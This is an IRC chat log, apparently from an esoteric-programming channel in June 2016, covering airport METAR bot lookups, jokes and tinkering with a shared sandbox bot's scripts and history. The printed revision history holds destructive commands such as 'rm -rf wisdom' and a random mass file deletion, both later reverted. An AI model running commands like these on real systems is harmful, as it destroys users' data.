and altitude 23:22:08 Etaoin: what's your nearest airport? 23:25:35 Hm... are amendments to the US constitution their own separate body (the important part that lays out the big laws), or are they more like Constitutional Errata? Just changing what the main part of the Constitution already said? 23:26:58 Oh, huh, here's an interesting thing that should have been obvious that I forgot about 23:27:29 The president has to have been born a US citizen (not necessarily born /in/ the country- a US citizen parent will generally do too) 23:28:05 But the line of succession includes positions that do not share this requirement- in fact, the Cabinet or even Speaker of the House can be comprised of non-citizens 23:28:30 http://www.rijeka-airport.hr/info.asp 23:28:31 this one 23:28:32 RJK 23:29:09 @metar LDRI 23:29:10 No result. 23:29:13 wut. 23:29:51 @metar LRJK 23:29:51 No result. 23:30:01 The one near my location is CYVR 23:30:03 @metar CYVR 23:30:03 CYVR 272200Z 29007KT 30SM SCT120 BKN210 24/17 A3012 RMK AC4CC1 SLP200 DENSITY ALT 700FT 23:30:08 @metar LDRIYDYX 23:30:23 did it break 23:30:38 is there weather in Croatia? 23:30:39 ICAO codes are only four letters long; I would not expect it to work if you put eight letters 23:31:04 Huh, metar supports two different types of airport coe 23:31:05 *code 23:31:09 @metar LDZA 23:31:10 LDZA 272200Z 21003KT 170V260 9999 FEW035 17/15 Q1019 NOSIG 23:31:13 IATA and ICAO 23:31:29 that's the airport in the capital some 160 km east 23:31:58 IATA are three letters, so we can try to see if it is work 23:32:07 @metar YVR 23:32:31 It doesn't; you need ICAO codes. (ICAO codes are much better than IATA anyways) 23:33:35 <\oren\> @metar LDLO 23:33:35 No result. 23:36:00 <\oren\> man, looking at a map, croatia just barely allows bosnia to have a coastline 23:38:34 @metar MRI 23:38:54 @massages-crowd 23:38:54 Unknown command, try @list 23:38:58 @massages-loud 23:38:58 oerjan said 19h 32m 3s ago: I believe you can use the Seifert-van Kampen theorem to prove that human noses and mouths cannot be topologically merged hth 23:38:59 oerjan said 19h 30m 30s ago: (how to split up a human for the theorem is left as an exercise) 23:39:21 \oren\ I'm not even completely sure why that's the case though ^^ 23:39:41 -!- lambda-11235 has quit (Quit: Bye). 23:39:47 they have Neum, that one lil city on the coast 23:40:32 @metar PAMR 23:40:33 PAMR 272153Z 23006KT 10SM FEW110 20/08 A3015 RMK AO2 SLP211 T02000078 23:40:35 There we go 23:41:20 @metar ASDF 23:41:20 No result. 23:41:28 @taf PAMR 23:41:28 Maybe you meant: thx faq bf 23:41:43 So lambdabot, devourer of time, has metar but not taf? lame. 23:41:57 @metar EBIN 23:41:57 No result. 23:42:06 @metar OREN 23:42:07 No result. 23:42:53 Etaoin: Is that the ICAO for \oren\'s personal airstrip? 23:43:03 I'd hope so 23:43:04 <\oren\> If only 23:43:24 ah, to be able to fly orenair... 23:43:27 anyone uzing firefox on win10= 23:43:35 ? 23:43:38 <\oren\> Does Kennedy Space Center have an ICAO code? 23:43:48 if I had the money, I'd create an airline called Orenair. it sounds strangely good. 23:43:50 it keeps crashing for me 's why I'm saking 23:44:05 asking 23:44:27 <\oren\> I use firefox on windows 7 and it works fine 23:44:31 <\oren\> try doing that 23:44:35 I use FF on Ubuntu, FF on windows 7, and it works fine. 23:44:42 Etaoin: Who wants to know? 23:44:53 * boily steers Etaoin towards a penguin 23:44:53 the latest version? 23:45:06 the very latest. 23:45:23 I guess it really is cause I overclocked my gpu 😂 23:45:23 I use FireFly on Windows 10, which is running on Ubuntu inside of DOS on top of a CPU in minecraft 23:45:35 You use me? 23:45:44 FireFly: Yes; you're my favourite browser 23:45:48 hot 23:45:53 Etaoin: No. 23:46:05 are you ddosing me 23:46:14 Not at the moment, no 23:46:28 oh but can you? 23:46:43 considering I can't forward my ports, can you ddos me? 23:46:46 Of course, the minecraft CPU is in an implementation of JavaScript (translated, of course, from CoffeeScript II: The Wrath of Khan) running in Netscape 23:46:50 -!- oerjan has joined. 23:46:52 Etaoin: No, I can't 23:47:03 drat 23:47:08 * boily thwacks hppavilion[1]. “aaaaaaaaaAAAAAAAAAAAAAAAAAAAH!” 23:47:12 Etaoin: Why would you want me to anyway? 23:47:16 boily: What did I do this time? 23:47:48 Oh, by the way, can we start referring to people who watch too much Fox News as a fandom? 23:47:51 this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent! 23:48:15 I shall depart in a huff! I am triggered! exclamation mark! 23:48:24 -!- boily has quit (Quit: INFINITE CHICKEN). 23:48:48 @tell boily I can't take your exclamation seriously if they end with an exclamation mark but don't start with an inverted question mark hth 23:48:48 Consider it noted. 23:49:23 shaloily. also shachaf for obvious reasons. 23:49:45 dammit 23:49:47 how do we refer to the fox news fandom? 23:50:22 <\oren\> "crazy old people" 23:50:23 @tell boily this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent! <-- running away before i can do my porthello? i agree. 23:50:23 Consider it noted. 23:51:30 @tell boily hey boily I just wanted to @tell you something cause everyone else did. I wanted to feel included cause my girlfriend just left me after 2 years 23:51:30 Consider it noted. 23:55:30 @tell boily terrible and odious? tedious! 23:55:30 Consider it noted. 23:55:40 sharjan 23:55:50 sharjan? 23:56:02 Etaoin: are you saying she couldn't stand this channel 23:56:04 Everyone knows I already won the porthello competition 23:56:34 oerjan, no it was external factors 23:56:51 good, good ... er wait ... 23:57:50 I nuked her hometown 23:57:54 hppavilion[1]: we are branching out in order to extinguish hth 23:58:03 Etaoin: that would do it. 23:58:11 Etaoin: Was it the only way to be sure? 23:58:33 you can never be too sure 23:58:49 @tell boily this message is secret. please don't @messages-loud it in the channel twh 23:58:49 Consider it noted. 23:59:03 shachaf: good message 23:59:40 shhhhchaf 2016-06-28: 00:03:06 shachaf: You should have gone for a more aggressive approach that looks like legalese and sounds legally binding 00:03:48 a shrink-wrapped @teula 00:03:56 @teula shachaf try that. 00:03:56 Consider it noted. 00:04:32 @message-lead 00:04:32 Unknown command, try @list 00:04:38 curses 00:04:42 @messages-lead 00:04:42 oerjan said 45s ago: try that. 00:05:00 @messages-gold 00:05:00 You don't have any messages 00:05:23 @tell boily rainbhellow 00:05:23 Consider it noted. 00:06:08 `rainbow blah 00:06:45 No output. 00:06:52 `rainbow blah 00:07:12 right, it was one of those. 00:07:15 `` echo blah | rainbow 00:07:29 i had a crazy idea to fix that... 00:07:33 No output. 00:07:33 ​blah 00:07:40 `cat bin/rainbow 00:07:41 ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p) 00:08:07 `` echo -n 'hi '; echo "HellockEgo" | rainbow 00:08:10 hi HellockEgo 00:08:33 `` echo -n 'lambdabot: @tell boily '; echo "HellockEgo" | rainbow 00:08:37 lambdabot: @tell boily HellockEgo 00:08:37 Consider it noted. 00:08:52 Ugh 00:08:54 wait, that's backwards 00:09:11 We need to establish a distinction between "Picture", "Image", and "Photograph" 00:09:25 Or, at least, between "Photograph" and more general images 00:09:35 Some airports have ICAO code but no IATA code, while some others have IATA code but no ICAO code. However, the first letter of ICAO code will not be I and J, therefore you could use it in this way if this is required. 00:09:47 Rule: A photograph actually happened and you cameraed it. Google should account for this. 00:10:14 zzo38 Why will the first letter not be I and J? 00:10:17 : 00:10:28 hppavilion[1]: the problem i see with that is that the only way to ensure that is with some kind of DRM 00:10:51 @tell boily we're just spamming you at this point tbh 00:10:51 Consider it noted. 00:10:57 oerjan: Well it isn't about ensuring; just about the general case 00:11:16 oerjan: Shops count as photographs, loosely, so this isn't a way to tell if a picture is shopped 00:11:27 OAKY 00:12:33 shachaf: Those letters are not used. In addition, X is for internal codes, while Q is for non-geographical special uses. 00:13:06 I,I I is unused 00:13:18 zzo38: But what if they're used in the future? 00:13:37 I don't know possibly they would be 00:14:12 fungot 00:14:13 Etaoin: mr president, i had a doubt: i had the opportunity recently to visit the christian churches out there are calling for today. the barcelona summit in further detail in april, are therefore unacceptable to the commission. in fact, parliamentarians can also be sure that member states which are now being removed from the positions expressed, the true reason for the increase in the financial, environmental and health problem 00:14:17 ZZZZ indicates that no ICAO code exists. 00:15:21 lifthrasiir: Shouldn't humans be "Most Concern"? As in, "They're the ones fucking everything up in the first place"? <-- i'm not sure the classification applies to species _creating_ trouble rather than _suffering_ from it 00:15:42 oerjan: Ah. 00:15:45 What does ZZO38 indicate? 00:15:47 oerjan: Well we need a system for that too. 00:15:49 although i suppose there might be an "invasive species" classification 00:15:53 @metar ZZ038 00:16:13 ICAO codes can only be four letters long. 00:17:26 hppavilion[1]: http://conservationmagazine.org/2014/05/scientists-propose-new-classification-scheme-for-invasive-species/ 00:17:32 oerjan: yes, I found that 00:17:38 zzo38: That's what they want you to think 00:17:53 how dare you google the same terms as i! 00:18:17 It's weird that people talk about letting nature run its course and not interfering and how humans are interfering with animal life and we should just let animals progress naturally 00:18:41 Without accounting for the fact that humans fucking everything up is the definition of letting a species thrive and flourish naturally 00:20:47 Where do hippies draw the line for animal cruelty? At what point does harming an animal become cruel? 00:20:51 -!- augur has quit (Remote host closed the connection). 00:21:16 if two heads are better than one does that imply that four eyes are better than two and thus people with glasses are innately superior? 00:22:33 -!- idris-bot has quit (Quit: Terminated). 00:22:39 -!- jaboja has quit (Ping timeout: 264 seconds). 00:23:30 how annoying would a bot that corrects typos be? 00:23:43 Very. 00:23:46 lambdabot has a mode for that. 00:23:47 hppavilion[1]: all the rules about animal ethics are ad hoc because human doesn't have the technology to be consistent about it. in the extreme, we'd have to stop killing millions of bacteria (as well as cells in our own body) simply by existing. 00:23:52 *humans 00:23:57 *humans don't 00:26:25 and of course there's the added issue that we don't really _know_ what other species feel, we just assume that human-resembling behavior corresponds to sentience. 00:26:54 which means we cannot even really tell whether it would be _good_ to change the biosphere to be "ethical". 00:26:59 yet. 00:28:47 for all we know, eating a carrot causes as much suffering as eating an animal. 00:29:37 afaik grass senses pain 00:31:51 (also this applies to the importance of brains, i guess) 00:35:35 -!- jaboja has joined. 00:40:35 `hoag wisdom/arothmorphise 00:40:38 oops 00:41:04 `hoag wisdom/arothmorphise 00:41:19 * oerjan too lazy to wait to see whether the space broke it. 00:41:21 No output. 00:41:23 revert accbc9c5c7ec \ echo wisdom/* | shuf | head -n 10 | xargs rm \ revert \ revert 1 \ learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry. 00:41:51 hm boily's is the only substantial one. 00:42:37 `cat bin/hoag 00:42:40 hg log --removed --template "{desc}\n" -- "$@" 00:42:52 `cat bin/culprits 00:42:54 hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs 00:44:09 culprits should just use hoag 00:44:13 make it so twh 00:44:39 is that obviously equivalent? 00:45:32 No, it's better. 00:45:58 wait, do you mean _including_ the command parts? 00:46:19 ? 00:46:27 hoag replaces the hg log and the grep 00:46:34 right 00:46:40 `1 hg help templates 00:46:45 1/23:Template Usage \ \ Mercurial allows you to customize output of commands through templates. \ You can either pass in a template from the command line, via the \ --template option, or select an existing template-style (--style). \ \ You can customize output for any "log-like" command: log, outgoing, \ incomin 00:46:52 shachaf: stop. 00:47:14 I thought you only objected when people got to three digits? 00:47:39 i'm objecting because i want the old code not to run off the screen hth 00:47:46 `cat bin/culprits 00:47:48 hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs 00:47:51 -!- jaboja has quit (Ping timeout: 264 seconds). 00:50:46 `` hg log --removed wisdom/arothmorphise | grep summary: 00:50:55 summary: revert accbc9c5c7ec \ summary: echo wisdom/* | shuf | head -n 10 | xargs rm \ summary: revert \ summary: revert 1 \ summary: learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry. 00:51:31 `hoag wisdom/arothmorphise 00:51:35 revert accbc9c5c7ec \ echo wisdom/* | shuf | head -n 10 | xargs rm \ revert \ revert 1 \ learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry. 00:52:47 `mkx bin/culprits//hoag "$@" | awk '{print substr($1,2,length($1)-2)}' | sed "s/.$/\x0F&/" | xargs 00:52:52 bin/culprits 00:53:00 `culprits wisdom/arothmorphise 00:53:05 int-e ais523 oerjan elliott boily 00:53:08 yay 00:53:22 Wait, did that change anything? 00:53:36 i hope not? 00:53:56 `ls 00:53:59 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 00:54:12 -!- augur has joined. 00:54:17 `cat quine 00:54:18 echo `quine 00:54:36 what? 00:54:38 `culprits quine 00:54:42 zgrep 00:55:24 `rm quine 00:55:25 <\oren\> I'm working on a colour scheme for my terminal 00:55:28 it's not working anway 00:55:28 No output. 00:55:30 *+y 00:56:04 Wait, I'm the culprit!? 00:56:06 `culprits wisdom/taneb 00:56:12 oerjan boily Taneb oerjan Taneb oerjan oerjan elliott shachaf boily oerjan ais523 ais523 shachaf elliott FreeFull shachaf shachaf oerjan oerjan FreeFull oerjan FreeFull Taneb shachaf shachaf nitia 00:56:14 `hoag quine 00:56:18 rm quine \ ` echo "echo \\`quine" >> quine 00:56:33 `quine 00:56:44 `cat bin/hoag 00:56:47 hg log --removed --template "{desc}\n" -- "$@" 00:56:53 zgrep: your syntax was wrong. 00:56:59 Yeah. :( 00:57:04 ​/hackenv/bin/quine: 2: cd: can't cd to /var/irclogs/_esoteric \ ls: cannot access ????-??-??.txt: No such file or directory 00:57:44 zgrep: also that's not where commands that can be invoked are put. and we already had a quine command, not that it worked. 00:58:05 hm we can replace it with that proc thing 00:58:13 `cat bin/quine 00:58:13 I know now. I guess I didn't know back when I made it. And I didn't know at all about the quite command that you had. 00:58:14 ​#!/bin/sh \ cd /var/irclogs/_esoteric; cat $(ls ????-??-??.txt | tail -1) | sed 's/[^>]*> //' | grep '^`' | tail -1 #Best cheating quine ever? 00:58:24 quine* 00:58:53 `` hg log --removed --template "{date|shortdate} {desc}\n" wisdom/quine 00:58:56 Er. 00:58:56 2013-10-06 revert 3875 \ 2013-10-05 learn QUINE `? QUINE \ 2013-07-31 revert \ 2013-07-31 for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ 2012-10-06 revert \ 2012-10-06 run rm -rf wisdom \ 2012-04-08 revert 0 \ 2012-04-08 run rm -rf wisdom/* \ 2012-02-16 I 00:58:59 `` hg log --removed --template "{date|shortdate} {desc}\n" quine 00:59:04 2016-06-27 rm quine \ 2016-01-18 ` echo "echo \\`quine" >> quine 00:59:53 `mkx bin/doag//hg log --removed --template "{date|shortdate} {desc}\n" -- "$@" 00:59:56 bin/doag 01:00:24 `doag bin/hoag 01:00:28 2016-06-12 sled bin/hoag//s/"\\$@"/-- "$@"/ \ 2016-06-09 ` mv bin/ho{gue,ag} 01:00:48 i was wondering how to do something like that 01:00:54 `? cmd 01:00:55 cmd? ¯\(°​_o)/¯ 01:00:58 `? cmdline 01:01:00 cmdline? ¯\(°​_o)/¯ 01:01:06 hm where is it 01:01:12 `wisdom cmd 01:01:18 ​//cat: : No such file or directory 01:01:22 `wisdom line 01:01:24 onëliner//onëliners are pairs of unfathomable vectors in the category of exponential distance. 01:01:27 `wisdom line 01:01:29 onëliner//onëliners are pairs of unfathomable vectors in the category of exponential distance. 01:01:33 It's widely agreed that it's turtles all the way down 01:01:37 But are we certain we're at the top? 01:01:48 We're at the top with probability 0. 01:02:20 oerjan: What are you looking for? 01:02:25 `? shavention 01:02:38 `tomfoolery turtles 01:04:00 oerjan: https://www.selenic.com/hg/help/templates will teach you how to format a date to include the timestamp, if you wish. 01:04:02 hppavilion[1]: https://qntm.org/responsibility 01:04:18 I must confess, I know not of what you are speaking. 01:04:19 No output. 01:04:21 oerjan: i thought of the same story tdh 01:04:24 shachaf: nah your doag is enough 01:04:55 shachaf: i assume we both learned of it on this channel. 01:04:55 oerjan: Ah, yes, that story 01:05:04 I should read it agian 01:05:16 Did I? I didn't think so but I don't remember. 01:05:25 `? shavention 01:05:28 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 01:05:51 shachaf: or you may have been the one who brought it here. 01:05:53 `slwd shavention//s#hogue#{h,d}oag# 01:05:59 unlikely 01:05:59 wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/{h,d}oag, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 01:06:04 `` grep -r grep wisdom 01:06:21 `` grep -r -l grep wisdom 01:06:46 symmetry requires me to create dog so i can type {h,d}o{,a}g 01:07:31 `hog 01:07:46 No output. 01:07:58 * oerjan gives HackEgo some percussive maintenance 01:08:06 slwd shavention//s#hogue#{h,d}oag# \ mkx bin/doag//hg log --removed --template "{date|shortdate} {desc}\\n" -- "$@" \ rm quine \ mkx bin/culprits//hoag "$@" | awk \'{print substr($1,2,length($1)-2)}\' | sed "s/.$/\\x0F&/" | xargs \ learn physiology looks confusingly like psychology when written in 01:08:07 No output. 01:08:56 perl vs ruby? 01:09:01 `cat bin/hog 01:09:03 hg log --template "{desc}\n" -- "$@" 01:09:26 <\oren\> I'm working on a colour scheme for my terminal because I don't like the one i have, and I don't like Solarized 01:09:27 did someone delete the file that linked to the current command line 01:09:39 `hoag wisdom/cmdline 01:09:42 No output. 01:09:50 `` hoag | grep cmdline 01:09:56 ` >bin/cmd echo -e \'#!/bin/bash\\npid="$PPID"\\n[ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline\' \ ` >bin/cmd echo -e \'#!/bin/bash\\ncut -d "" -f 3 < /proc/$1/cmdline\'; chmod +x /tmp/hmm \ ` ln -s /proc/self/cmdline wisdom/reflection \ sed /proc/285/cmdline s/sed/des/g > dog \ (echo \ 01:10:16 `cat bin/cmd 01:10:17 ​#!/bin/bash \ pid="$PPID" \ [ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline 01:10:22 `cmd 01:10:23 `hoag wisdom/reflection 01:10:24 ​'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' 'cmd' | cat 01:10:29 oh 01:10:39 revert accbc9c5c7ec \ echo wisdom/* | shuf | head -n 10 | xargs rm \ ` ln -s /proc/self/cmdline wisdom/reflection 01:11:17 `? reflection 01:11:19 cat.reflection. 01:11:31 hm that's too local 01:11:40 not a replacement for `quine. 01:11:44 `cat bin/cmd 01:11:47 ​#!/bin/bash \ pid="$PPID" \ [ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline 01:11:53 `` echo $(cmd) 01:11:54 echo $(cmd) 01:12:45 shachaf: still a little less featured. `quine could be used as a subcommand and still gave the whole thing. 01:13:15 <\oren\> http://orenwatson.be/ColorScheme.PNG 01:14:19 `mkx bin/cmd//cut -d "" -f 3 < /proc/${1-$PPID}/cmdline 01:14:24 bin/cmd 01:14:27 `cmd 01:14:28 ​'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' 'cmd' | cat 01:14:33 `` cmd 01:14:34 cmd 01:15:00 oerjan: I was going to make a smarter version of cmd that always found the right HackEgo pid, but then instead of doing it I didn't do it. 01:15:07 ah. 01:15:22 sounds a bit tricky, anyway. 01:15:52 you have a superb skill at getting to the bottom of things hth 01:16:07 but not always superb motivation 01:16:09 `` curl "$http_proxy" 01:16:12 Failed to connect to socket 2. \ % Total % Received % Xferd Average Speed Time Time Time Current \ Dload Upload Total Spent Left Speed \ 01:16:39 `ls /home/hackbot 01:16:41 hackbot.hg 01:16:46 `ls /home/hackbot/hackbot.hg 01:16:47 multibot_cmds 01:16:54 `ls /home/hackbot/hackbot.hg/multibot_cmds 01:16:54 lib 01:17:01 -!- Etaoin has quit (Quit: R.I.P.). 01:17:03 i'm sensing a pattern here 01:17:04 `ls /home/hackbot/hackbot.hg/multibot_cmds/lib 01:17:06 fetch \ limits \ revert \ sandbox 01:17:44 i'm sensing a broken pattern 01:18:13 `ls /opt/ghc 01:18:15 ls: cannot access /opt/ghc: No such file or directory 01:18:18 good path 01:18:38 `ls tmp 01:18:38 fruit \ spline \ spout \ tempcmd \ testcmd \ tmp_jonas 01:20:19 What sort of programming language supports serializing its state to a file and resuming later? 01:20:41 `? physiology 01:20:43 physiology looks confusingly like psychology when written in English. 01:20:53 `slwd physiology s/p/P/ 01:20:54 usage: sled file//script 01:21:00 `slwd physiology//s/p/P/ 01:21:03 wisdom/physiology//Physiology looks confusingly like psychology when written in English. 01:21:13 oerjan: Maybe sled ought to split on the first space if it doesn't see a // 01:21:18 What do you think? 01:21:34 i dunno, it's not uncommon for sed scripts to contain // 01:22:22 But it would most likely just fail in that case. 01:22:28 true. 01:23:04 also, for your other question, doesn't smalltalk do that 01:23:12 Does it? 01:23:34 I thought Smalltalk was all about keeping a VM running forever. 01:23:44 Oh, well, you can serialize the whole VM, sure. 01:23:53 But that's hardly suitable for HackEgo scripts. 01:24:11 heh 01:24:20 i think perl might also have such a feature? 01:25:31 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 01:25:58 `? hambiguitous 01:26:01 We're not sure what hambiguitous means, but it's definitely not hth. 01:29:11 <\oren\> `? biguous 01:29:13 biguous? ¯\(°​_o)/¯ 01:33:44 `? oregano 01:33:47 oregano? ¯\(°​_o)/¯ 01:34:22 -!- moonythedwarf has quit (Ping timeout: 272 seconds). 01:34:44 `learn Oregano is the main spice in oreganic foodstuffs. 01:34:49 Learned 'oregano': Oregano is the main spice in oreganic foodstuffs. 01:35:33 `learn Oregano is the main spice in oreganic cuisine. 01:35:37 Relearned 'oregano': Oregano is the main spice in oreganic cuisine. 01:35:42 `? cuisine 01:35:45 cuisine? ¯\(°​_o)/¯ 01:35:56 `learn Cuisine is the posh cousin of cooking. 01:35:58 Learned 'cuisine': Cuisine is the posh cousin of cooking. 01:36:23 i'm not sure these are quite up to my ideal standard, but meh. 01:36:40 Well, they're certainly above the mean. 01:39:20 `? time 01:39:23 time? ¯\(°​_o)/¯ 01:46:13 Hahahahahahahaha http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=%2Fnetahtml%2FPTO%2Fsrchnum.htm&r=1&f=G&l=50&s1=6,857,067.PN.&OS=PN/6,857,067&RS=PN/6,857,067 01:53:55 ? 02:04:19 -!- Sgeo_ has quit (Read error: Connection reset by peer). 02:06:50 -!- Sgeo has joined. 02:07:59 -!- moonythedwarf has joined. 02:14:59 -!- spockers has quit (Remote host closed the connection). 02:15:21 -!- spockers has joined. 02:15:27 -!- spockers has quit (Client Quit). 02:16:07 -!- spockers has joined. 02:16:36 -!- lambda-11235 has joined. 02:24:29 Intelligent Design: Doesn't actually imply that the blueprint matches the final result 02:38:48 Controlling colormaps in my computer does not seem to work as far as I can tell. 02:41:48 Is OpenGL interfering with it somehow? 02:54:11 Or maybe RandR is interfering with it? 03:05:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:09:46 @time oerjan 03:09:46 Local time for oerjan is Tue Jun 28 04:09:46 2016 03:09:49 whoa whoa whoa 03:09:53 oerjan++ 03:10:59 -!- Sgeo_ has joined. 03:12:24 -!- Sgeo has quit (Ping timeout: 276 seconds). 03:13:26 -!- Sgeo has joined. 03:15:25 -!- Sgeo_ has quit (Ping timeout: 252 seconds). 03:16:57 shachaf: :) 03:17:08 someone remembered! 03:17:28 -!- Sgeo_ has joined. 03:18:02 -!- Sgeo has quit (Ping timeout: 260 seconds). 03:18:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:19:40 What I found is this https://cgit.freedesktop.org/xorg/xserver/commit/?id=91f73b79b7ae64e5b846d1efeb470bb61a913720 so I should need to disable gamma somehow. 03:26:42 oerjan: well it's still yesterday here 03:39:36 @time lifthrasiir 03:39:39 Local time for lifthrasiir is Tue Jun 28 11:39:37 2016 03:39:46 CTCP TIME? 03:48:56 -!- Sprocklem has joined. 03:52:44 ooh https://www.reddit.com/r/rust/comments/4pun1f/looking_for_feedback_on_my_first_attempt_at_an/ 04:14:02 -!- moonythedwarf has quit (Ping timeout: 260 seconds). 04:24:23 -!- augur has quit (Remote host closed the connection). 04:42:15 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 04:43:28 -!- spocker__ has joined. 04:55:42 -!- augur has joined. 04:58:10 -!- spocker__ has quit (Read error: Connection reset by peer). 05:03:33 -!- spocker__ has joined. 05:04:05 -!- spocker__ has changed nick to spockers. 05:14:08 -!- Kaynato has quit (Ping timeout: 250 seconds). 05:25:27 Sgeo_: I agree that the proposed solution is clever in solving the coherence issue 05:26:27 Im now playing df on my tablet using a remote linux 05:26:32 :P 05:32:16 -!- lambda-11235 has quit (Quit: Bye). 05:32:21 it should be very boring, GNU df(1) only has 18 options to try 05:33:34 Lol 05:33:45 dwarf fortress* 05:33:57 Nice joke tho 06:13:19 Playing dd is more exciting 06:15:31 dwarf dormitory 06:16:04 moon_: i did that, too, but it was kinda disappointing 06:16:35 It works good for me 06:17:11 Im using Hacker Keyboard (replacement for the default), it has all keys on a qwerty keyboard 06:17:31 inckuding alt ctrl and thag funny little key that i dont know the name of 06:17:43 i don't like it that much for regular writing 06:17:49 i am using multiling o 06:30:07 <\oren\> why not just plug a usb keyboard into your tablet 06:37:28 -!- hppavilion[1] has joined. 06:38:40 @massages-poud 06:38:41 You don't have any messages 07:06:35 most keyboards that are actually portable are lacking at one point or the other. plus: it's uncomfortable while riding a bus 07:07:23 A new X protocol could add many additional keysyms. These include UTCE keysyms (0x80000 to 0x8FFFF perhaps), as well as many extras: KP_Paren_L, KP_Paren_R, WindowManager, ZoomIn, ZoomOut, PrevTrack, NextTrack, PrevDisc, NextDisc, VolumeDown, VolumeUp, VolumeMute, ChannelDown, ChannelUp, MediaRewind, MediaFastForward, MediaPlay, MediaStop, MediaPause, MediaRecord, MediaEject, InputSelect, DriveSelect, OSD, OSD_Cancel, MediaTopMenu, MediaSubMenu, C 07:08:26 i like C 07:10:37 oerjan: whoa whoa whoa, someone sent me a link to a talk from TEDxTrondheim 07:10:46 oerjan: did you go 07:11:21 no. 07:11:30 Some other keysyms can be stuff for telephone such as: AnswerCall, EndCall, Redial, CallerID, SpeedDial, etc. 07:11:53 What about Reredial, Rereredial, etc.? 07:13:26 You don't need it, although there could add a RedialMenu keysym if needed perhaps. (Also, like with any X server, you can program some keysyms to be shifted functions of others.) 07:17:13 (Probably you won't actually need RedialMenu though, just Redial; its exact function depends on the software in use, which is not necessary a X client; however if the same computer system can run X then it would expose this code as a redial function for the telephone.) 07:25:07 doesn't it have to be "an X client"? 07:25:53 What does OSD do? 07:27:38 To do on screen display for a TV set 07:28:48 Such as to display on the screen what channel/input/whatever. The built-in software may use this to display this information; another client may display its own stuff in this way. 07:39:58 -!- Frooxius has quit (Quit: *bubbles away*). 07:40:17 -!- Frooxius has joined. 07:51:52 Do you think this is OK for the structure to define a widget class in a X client library? typedef struct XwicWidgetClass { 07:52:20 How specific does Rule34 get? 07:52:47 Do you think this is OK for the structure to define a widget class in a X client library? typedef struct XwicWidgetClass { int eventmask; int windowclass; void(*init)(Display*,Window,Window,XwicResource*); void(*destroy)(Display*,Window,XwicResource*); void(*event)(XEvent*); void(*expose)(XEvent*); void(*layout)(Display*,Window); void(*command)(Display*,Window,XrmQuark,XwicParameter*); } XwicWidgetClass; 07:53:45 Wow, it's always weird when you see someone from IRC in a different setting 07:53:49 Even if it's closely related- e.g. agor 07:53:52 *agora 07:55:08 -!- oerjan has quit (Quit: Nïte). 07:58:16 Hm, how binding are nomic rules? 07:58:27 Like, if nomic rules make a declaration that something is to be done 07:58:37 And don't specify that it's limited to players 07:58:42 And an external entity imposes restrictions 07:58:44 pretty sure in nomic you can change their binding-ness 07:58:49 -!- augur has quit (Remote host closed the connection). 07:59:09 Could the nomic sue that external entity in the Court of the Internet? 07:59:24 whoa not so fast 07:59:40 "Agora is a sovereign game, and you shall not impede its glory!" 08:03:47 izabera: The Court of the Internet is really just complaining about it, and the verdicts of the CotI are (a) fuzzy- a partial punishment may be enacted and (b) enforced by 4chan et al. 08:10:57 Agora CFJ 24: "Players must obey the Rules even in out-of-game actions" 08:11:01 That's a hardcore mailing list 08:16:45 Oh god 08:16:53 I opened a massive file of all known Agora rulesets 08:24:08 -!- MoALTz has joined. 08:33:24 Oh, "The Rules CANNOT compel non-players to act, nor compel players 08:33:24 to unduly harass non-players. A non-person CANNOT be a player, 08:33:24 rules to the contrary notwithstanding." 08:52:41 -!- AnotherTest has joined. 08:56:08 AnotherTest: I'm watching a video on standardized testing in the US. Your nick is very appropriate. 08:59:03 -!- AnotherTest has quit (Ping timeout: 246 seconds). 09:15:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 09:55:08 -!- Phantom_Hoover has joined. 10:28:16 -!- Koen_ has joined. 11:01:40 I need to find a field I'd like to go into 11:03:34 With my undergrad in maths and computer science, I have a lot 